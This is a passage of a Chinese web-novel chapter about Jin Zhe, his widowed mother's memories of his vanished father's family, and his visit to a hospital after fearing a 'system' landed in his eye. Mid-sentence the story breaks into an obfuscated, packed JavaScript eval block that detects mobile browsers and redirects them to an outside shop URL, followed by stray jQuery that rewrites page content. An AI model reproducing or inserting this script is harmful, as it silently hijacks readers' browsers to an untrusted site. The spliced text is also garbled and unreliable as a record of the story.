陈若兰想也没想就摇了头:“你爸是独生子,就自己一个人,没兄弟姐妹,你爷奶那边我不熟,就不知道有没有堂表的兄弟。”
金蛰他爸叫金玉堂,他在儿子出生前就因为意外过世了。
那段回忆,对于陈若兰来说,格外痛苦。
她是独生女,父母在她大一时就因为车祸同时过世。
父母那边倒还有亲戚,当年关系还算亲近,一起帮着办了丧事。
到现在,大家各自忙着生活,也逐渐少了联系。
金玉堂家则不是本地的,当年他工作调动到陈若兰所在的城市,对她一见钟情,在两人成为情侣之后,他便顺势决定在这个城市安家。
可惜,也是好景不长,金玉堂和陈若兰结婚没多久,都没等到孩子出生,人就没了。
说起丈夫的死,陈若兰有一种并不意外,但又无奈的悲伤。
金玉堂很喜欢各种危险刺激的运动,蹦极、滑雪、冲浪、攀岩,徒步穿越平时无人踏足的林子。
陈若兰劝过,但劝不住。
金玉堂最后就是死在徒步的活动中。
陈若兰只知道丈夫出差了,接到丈夫同事电话时,一时间感觉天都塌了。
在知道这人是在出差途中,挤着空闲时间自己独自一人出去的后,更是想骂他几句。
可惜,人已经死了,陈若兰再骂对方也听不到。
金玉堂的后事是金家老夫妻去处理的,那会儿陈若兰都已经怀孕七个月,实在不适合出远门,更没有那个体力操持丧事。
因为金玉堂的死亡,陈若兰的这对公婆对她意见很大,在当地完成了儿子的火化后,直接带着骨灰回了家。
陈若兰不仅没见到自己丈夫的最后一面,连他葬在哪里都不知道。
打电话给公婆,老头老太不仅没有安慰,还极尽恶毒地对她进行了辱骂。
丧门星,克亲,倒霉鬼……甚至还让她把肚子里的孩子打了,省得生出来又是个小丧门星。
那段经历是黑暗的。
在那样的情况下,陈若兰还是一个人咬牙生下了孩子,出了月子后托了人照顾,自己去找公婆。
至少,她要知道自己的丈夫葬在哪里。
陈若兰在婚前去过公婆家一次。
两家隔了几个省,去一次不容易,费时费力还费钱。
记忆里,金玉堂的父母都是好相处的人,对儿子看中的姑娘也很热情,第一次见面给的红包丰厚到陈若兰差点不敢拿。
除此,就是张嘴夸,夸得仿佛儿子找了个天上的仙女回来,把陈若兰都夸脸红了。
然而当陈若兰再一次找上金家,开门的却是一个完全陌生的人。
对方说,这房子是他刚买的,原来的房东说家里孩子出了事情,着急便宜卖了。
陈若兰问这一家搬去了哪里,买家自然答不上来,还给了一个看神经病的眼神。
谁家买房子还管原来的房主搬家去哪里?这得多闲着慌。
陈若兰再打她公婆的电话,已经全都打不通。
到了此时,她才发现,找一个“外地人”的坏处。
除开那几个熟悉的联系人,她对“金玉堂”和他家里的具体情况一无所知。
在异省他乡,陈若兰茫然无措,她实在不甘心就这么回家,就去找了当地的派出所寻求帮助。
然而,她拿不出任何与金玉堂有关系的证明。
也是到了那个时候,她才发现,因为自己的意外怀孕,两人的婚礼办得仓促,不止只在女方这边办了婚礼,男方那边婚礼延后,连结婚登记都没完成。
金玉堂是个很体贴,且做事情很周到的人,和他在一起时,陈若兰完全不用操心这些生活里的琐碎。
如果这个男人没死,陈若兰说不定能当一辈子的小娇妻。
但,他死了。
生活骤然失了节奏和方寸,陈若兰最终也没能找到自己的公婆,自然也没能知道自己的丈夫葬在哪里。
她回了家,一边照顾孩子,一边托丈夫的同事和朋友帮忙打听情况。
只是一晃多年过去了,她与那些人的联系都断了,也没有再得到任何关于丈夫的消息。
这些过往金蛰全都知道,因此,他基本也从来不问关于爸爸家里的事情,免得他妈心情不好。
今天,算是反常。
陈若兰知道儿子一向就贴心,回答完之后,免不了又有点好奇。
“怎么突然问起这个,是遇到和你爸长得像的人了?”
“嗯,隔着一点距离看到的,感觉有点像,近看就不知道了。”金蛰不觉得这事有瞒着他妈的必要,顺嘴就说了。
儿子25岁,丈夫也过世25年了,对于陈若兰来说,再深的伤痛,经历时光,也逐渐淡化。
剩下更多的则是遗憾。
遇到了一个对的人,却没能一起走完这一生。
陈若兰笑笑,也没在意:“这世上没有血缘关系,长得像的人也不少。”
网上时不时还能看到撞脸明星的普通人。
这也不是什么稀罕事。
话题就那么划了过去,陈若兰多少还是担心儿子的眼睛,催着他赶紧去洗澡睡觉。
妈妈的万能良药,睡一觉起来就好了。
第二天。
金蛰一直睡到八点起。
睡下去的时候,他没觉得哪里不对劲,但等他真睡着了,就显出异样。
他这一觉睡得简直是格外地沉,不仅如此,他还做了一个令他不怎么舒服的梦。
他梦到了以前看到的一部老电影,《黑客帝国》里的剧情,那个所有人类被当作生物电池圈养的可怖画面。
梦里,他变成了其中一员,有一根长长的黑色软管插在他的左眼中,源源不断吸取他的生命力。
那感觉简直太糟糕。
金蛰的人脑被催促他准点去当牛马的闹钟叫开了机。
他一向没有起床气,只是今天有点莫名不高兴。
进卫生间洗漱前,他先对着镜子照了半天左眼。
除了有一点眼屎,没有半点异常,昨晚临睡前还残留的红血丝,这会儿也消了个干净。
看了又看,他甚至有一种今天自己的眼睛看着特别明亮的感觉。
这对吗?
金蛰临时决定上午请假。
他准备去医院做个全面的检查,万一他不是眼睛里落了个系统进去,而是脑子里长了个瘤子呢?
比起这个世界上真有系统存在,他觉得是生病产生了幻觉的可能性好像更大。
褚良收到消息,得知自己家员工前一天早退,今天还要迟到,再一次感叹老板越来越不好当。
【请假可以,中午给我打包半只解放路的芳香炸鸡回来,微辣,炸得嫩一点。】
【转账100元。】
【少补多不用退,给你买可乐喝。】
金蛰回了个“1”过去,然后把手机往口袋里一塞,出门。
在医院跟个大傻一样摸索了一上午后,一向身强体壮,从小到大连感冒都很少得的健康宝宝,终于在他的强烈要求下,做完了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891054|212733||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脑部的核磁检查,并拿到了结果报告。
也亏得金蛰去的医院是离他最近的一家小医院,平时人没有那么多。
检查结果一切正常,没有任何问题。
金蛰还有点不放心:“我的脑袋里,真的没有长什么奇怪的东西吗?眼睛呢?眼睛里也没有?”
“身体没问题,好得很。”一脸慈祥的医生大叔看着他,明显像是在憋笑,和金蛰的视线对上,他也不知道怎么,本来只在心里的吐槽,一下子就说了出来,“小年轻别胡思乱想,别去网上查病,一查都是癌症起步。”
说完,医生直接愣了一下。
有些话吧,也就适合私下里吐槽一下,真当着病人说了,说不定会被投诉。
好在,金蛰身强体壮,没病没痛,听了这话也没什么触动。
甚至还觉得医生挺幽默。
成年人拿体检结果,比常年分数在及格线上徘徊的学生拿成绩单还紧张。
被宣判“无病释放”后,金蛰终于略微松了一口气。
同时,他又想起另一个令人头秃的问题——
昨晚,他的眼睛里真的落了一个系统?
【喂,喂喂,系统?真心话系统?你在吗?】
【在你就吱一声。】
【哈啰,有人……有统在吗?】
……
金蛰在脑海里叫魂一样叫了一路,直到他去到褚老板指定要的炸鸡店里,才歇了嘴。
“哟,小金,早啊,今天买一只还是半只?”
“半只,微辣,炸得嫩一点。”
金蛰点单,把褚老板的要求半点不差复述了一遍。
老板是个五十来岁的中年人,看着和金蛰他妈是同辈人。
只是比起陈若兰女士的优雅年轻,美丽动人,老板略显稀疏的头顶,实在让他看着比同龄人成熟不少。
老板利落地剁鸡,称重,下油锅。
他对老客十分熟悉,一听这单的“备注”就知道不是金蛰的口味,手上忙着,嘴上还能顾上和金蛰聊上几句。
“替你们老板跑腿呢?让你们老板给你加工资,不能白跑。”
同样都是在城市的这片区域开店,炸鸡店老板算得上是褚良的前辈。
他这家店的经营年限“2”字打头,比金蛰的年纪还大。
金蛰对老板也熟,知道他那张嘴就是闲不住,不让他说话,估计比打他一顿还难受。
至于他这个听众要不要回答,答什么,都不重要。
果然,顺毛眼镜小哥只是对着人笑笑,当作回答,老板也丝毫不生气,自顾自说他的。
伴着炸鸡的香味开始飘出,老板的话题也越飘越远,突然他问了一个金蛰有点答不上来的问题。
“诶,你们小年轻现在谈恋爱都去哪里约会?商场里看电影?还是出去旅游?”
金蛰现在单身狗一只,但他身边还有一个刚被求婚的曲琦可以作为参考,他回忆了一下便有了答案。
“都有吧,看电影,吃漂亮饭,也一起出去玩,看两个人对什么感兴趣。”
约会也没有定式。
“漂亮饭?是不是拍照拍出来很好看那种?”老板的好奇心似乎被勾了起来,“你知道哪家店去的人比较多?”
金蛰这下多看了老板一眼:“老板,你要和老板娘去约会?挺浪漫啊!”
老夫老妻,孩子都和金蛰差不多年纪,难得还有这份心。
“哪是和那个老太婆啊。”老板和金蛰对视,发出嘁的一声,“我是和我新找的女朋友一起。”